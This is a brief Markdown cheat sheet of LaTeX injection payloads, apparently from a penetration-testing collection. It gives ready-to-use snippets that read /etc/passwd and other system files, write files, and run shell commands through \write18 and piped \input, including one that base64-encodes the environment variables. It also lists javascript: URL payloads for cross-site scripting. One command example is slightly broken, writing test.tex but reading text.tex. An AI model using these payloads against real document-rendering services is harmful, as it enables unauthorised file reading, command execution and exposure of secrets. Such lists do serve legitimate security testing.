# LaTex Injection
|
|
|
|
## Read file
|
|
|
|
Read file and interpret the LaTeX code in it:
|
|
|
|
```tex
|
|
\input{/etc/passwd}
|
|
\include{somefile} # load .tex file (somefile.tex)
|
|
```
|
|
|
|
Read single lined file:
|
|
|
|
```tex
|
|
\newread\file
|
|
\openin\file=/etc/issue
|
|
\read\file to\line
|
|
\text{\line}
|
|
\closein\file
|
|
```
|
|
|
|
Read multiple lined file:
|
|
|
|
```tex
|
|
\newread\file
|
|
\openin\file=/etc/passwd
|
|
\loop\unless\ifeof\file
|
|
\read\file to\fileline
|
|
\text{\fileline}
|
|
\repeat
|
|
\closein\file
|
|
```
|
|
|
|
Read text file, **without** interpreting the content, it will only paste raw file content:
|
|
|
|
```tex
|
|
\usepackage{verbatim}
|
|
\verbatiminput{/etc/passwd}
|
|
```
|
|
|
|
## Write file
|
|
|
|
Write single lined file:
|
|
|
|
```tex
|
|
\newwrite\outfile
|
|
\openout\outfile=cmd.tex
|
|
\write\outfile{Hello-world}
|
|
\write\outfile{Line 2}
|
|
\write\outfile{I like trains}
|
|
\closeout\outfile
|
|
```
|
|
|
|
## Command execution
|
|
|
|
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
|
|
|
|
```tex
|
|
\immediate\write18{id > output}
|
|
\input{output}
|
|
```
|
|
|
|
If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
|
|
|
|
```tex
|
|
\immediate\write18{env | base64 > test.tex}
|
|
\input{text.tex}
|
|
```
|
|
|
|
```tex
|
|
\input|ls|base64
|
|
\input{|"/bin/hostname"}
|
|
```
|
|
|

## Cross Site Scripting
|
|
|
|
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|
|
|
```tex
|
|
\url{javascript:alert(1)}
|
|
\href{javascript:alert(1)}{placeholder}
|
|
```
|
|
|
